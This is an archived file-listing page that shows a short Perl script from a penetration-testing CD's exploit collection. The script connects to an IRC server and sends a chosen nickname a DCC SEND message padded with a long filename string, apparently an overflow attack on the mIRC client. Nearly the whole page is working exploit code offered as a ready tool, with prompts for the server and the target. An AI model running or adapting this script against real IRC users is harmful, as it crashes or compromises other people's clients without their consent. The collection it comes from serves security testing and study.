home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / mirc / Mircxpl.pl < prev   
Perl Script  |  2005-02-12  |  1KB  |  37 lines
  1. #!/usr/bin/perl -w
  2. use IO::Socket;
  3. # get irc server to connect to, and nick to exploit.
  4. print "Enter Serv: "; chomp($serv=<STDIN>);
  5. print "Enter Nick: "; chomp($nick=<STDIN>);
  6.  
  7. #setup connection
  8. $ocket = IO::Socket::INET->new(
  9.                         PeerAddr=>"$serv",
  10.             PeerPort=>'6667'
  11.             ) || die "could not connect to $serv: $!";
  12.  
  13. #$| = 1;
  14. #$ocket->autoflush();
  15. $line="";
  16. until($line =~ /Ident/){
  17.     $oldline=$line;
  18.     $line = <$ocket>;
  19.     if($oldline ne $line) {print $line;}
  20. }
  21.  
  22. print $ocket "user ident irc name ircname\n";  #send ident/ircname info
  23.  
  24. $line="";
  25. until($line =~/PING/){
  26.     $oldline=$line;
  27.     $line = <$ocket>;
  28.     if ($oldline ne $line) {print $line;}
  29. }
  30.  
  31.  
  32. $line =~ s/.*://;
  33. print $ocket "PONG :$line\n";
  34. print $ocket "nick thssmnck\n";
  35. print $ocket "privmsg $nick :DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \" 1079095848 666\n";
  36.  
  37.